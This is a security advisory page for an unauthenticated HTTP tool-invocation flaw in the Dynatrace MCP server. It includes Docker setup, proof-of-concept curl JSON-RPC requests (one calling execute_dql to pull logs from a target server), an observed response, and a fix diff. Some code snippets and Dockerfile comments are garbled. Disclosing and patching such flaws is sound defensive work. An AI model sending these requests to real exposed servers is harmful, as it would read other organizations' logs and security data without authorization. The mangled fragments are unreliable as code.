@DYNATRACE-OSS/DYNATRACE-MCP-SERVER · CVE-2026-123811 · Package
FIX → 2.0.0
When the Dynatrace MCP server runs in HTTP mode, it accepts tool calls with no authentication check. Anyone who can reach the port can run tools such as execute_dql under the server's Dynatrace credentials, reading logs and security events and writing notebooks.
first public Jul 31, 2026 · 1 source
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Teams that run the Dynatrace MCP server with the --http flag, especially bound to 0.0.0.0 or in containers where the port is reachable from untrusted networks. Stdio-only use does not expose the HTTP transport, and a localhost-only deployment has reduced exposure, though the sources note DNS rebinding and same-host risk remain.
Not affected if no-http-flag, port-not-reachable, stdio-only
Who cares containers, dynatrace, mcp, node, self-hosted
--http (look at the process arguments or container command).npm ls @dynatrace-oss/dynatrace-mcp-server; affected versions are <= 1.8.7.--host 0.0.0.0.Upgrade to 2.0.0
@dynatrace-oss/dynatrace-mcp-server v1.8.5 exposes an HTTP transport mode (--http flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC tools/call request without an Authorization header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include execute_dql (reads arbitrary Grail data, including logs, security events, and user sessions) and create_dynatrace_notebook (writes notebooks to the tenant).
When the server is started with the --http flag, an HTTP server is created at src/index.ts:1621. For every inbound request the handler creates a new StreamableHTTPServerTransport instance:
// src/index.ts:1638-1640
httpTransport = ({
: ,
});
Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
@dynatrace-oss/dynatrace-mcp-server: move to 2.0.0No bearer-token check, session token, Host allowlist, or Origin allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:
// src/index.ts:1648-1668
body = JSON.parse(rawBody);
...
await httpTransport.handleRequest(req, res, body);
Two tools are directly reachable by an unauthenticated HTTP caller without any requestHumanApproval gate:
execute_dql — Confidentiality: High
// src/index.ts:746-769
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...));
return executeDql(dtClient, { query });
An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.
create_dynatrace_notebook — Integrity: Low
// src/index.ts:1593-1600
// No requestHumanApproval before createAuthenticatedHttpClient
const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write'));
return createNotebook(dtClient, { name, sections });
An attacker can create notebooks under the victim's tenant.
Note on
send_event: The initial static report claimedsend_eventwas also unguarded. Code inspection atsrc/index.ts:1367confirms arequestHumanApprovalcall exists inside thesend_eventhandler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returnsfalse, effectively blocking the write. Thesend_eventpath is therefore not exploitable via the HTTP attack vector.
Note on PoC tool
reset_grail_budget: The PoC usesreset_grail_budget(src/index.ts:1218-1239), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requiresexecute_dqlwith real credentials.
Environment setup (Docker):
# Build from repository root
docker build \
-t dynatrace-mcp-vuln001:latest \
-f /path/to/vuln-001/Dockerfile \
/path/to/dynatrace-mcp/repo
# Run — abc12345 in hostname activates demo mode, skipping real API connectivity check
docker run -d \
--name dynatrace-mcp-vuln001-test \
-p 127.0.0.1:3999:3999 \
-e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \
-e DT_PLATFORM_TOKEN=fake-token-for-poc \
dynatrace-mcp-vuln001:latest \
--http --port 3999 --host 0.0.0.0
Unauthenticated tool invocation (no Authorization header):
curl -sS -N -X POST http://127.0.0.1:3999/ \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Mcp-Protocol-Version: 2025-03-26' \
--data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}'
Observed response (HTTP 200, no authentication required):
HTTP/1.1 200 OK
content-type: text/event-stream
event: message
data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1}
Python PoC script (automated, with server-readiness polling):
python3 poc.py 127.0.0.1 3999
# Exits 0 on confirmed unauthenticated tool execution
# Exits 2 if server correctly returns HTTP 401 (patched)
High-impact variant with real credentials — data exfiltration via execute_dql:
curl -sS -N -X POST http://<server>:3000/ \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Mcp-Protocol-Version: 2025-03-26' \
--data '{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "execute_dql",
"arguments": {
"query": "fetch logs | limit 10"
}
}
}'
Recommended remediation:
--- a/src/index.ts
+++ b/src/index.ts
+import { timingSafeEqual } from 'node:crypto';
+ .option('--http-auth-token <token>', 'bearer token required for HTTP server mode')
+ const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;
+
+ const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => {
+ const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;
+ const actualHeader = req.headers.authorization;
+ if (!expected || !actualHeader) return false;
+ const actual = Buffer.from(actualHeader);
+ return actual.length === expected.length && timingSafeEqual(actual, expected);
+ };
if (httpMode) {
+ if (!httpAuthToken) {
+ console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.');
+ process.exit(1);
+ }
const httpServer = createServer(async (req, res) => {
+ if (!isAuthorizedHttpRequest(req)) {
+ res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' });
+ res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } }));
+ return;
+ }
const httpTransport = new StreamableHTTPServerTransport({
sessionIdGenerator: undefined,
+ enableDnsRebindingProtection: true,
+ allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],
});
This is a Missing Authentication for Critical Function vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via execute_dql and write notebook documents via create_dynatrace_notebook, all under the configured Dynatrace credentials without needing to know those credentials.
Who is impacted: Organizations running dynatrace-mcp-server with the --http flag enabled — particularly deployments using --host 0.0.0.0 (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With --host 0.0.0.0 the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.
Dockerfile# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)
# build stage - text sourcefrom dynatrace-mcp-server build
FROM node:22.21.1-alpine3.22 AS build
WORKDIR /app
# repo copy the full repo source (hosttext clone repo pathfrom textand build)
COPY . .
RUN npm ci
RUN npm run build
# runtime textonly install (dist/package.json criteria)
RUN cd dist && npm install --ignore-scripts && npm cache clean --force
# runtime stage
FROM node:22.21.1-alpine3.22
This page as .md · .json · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.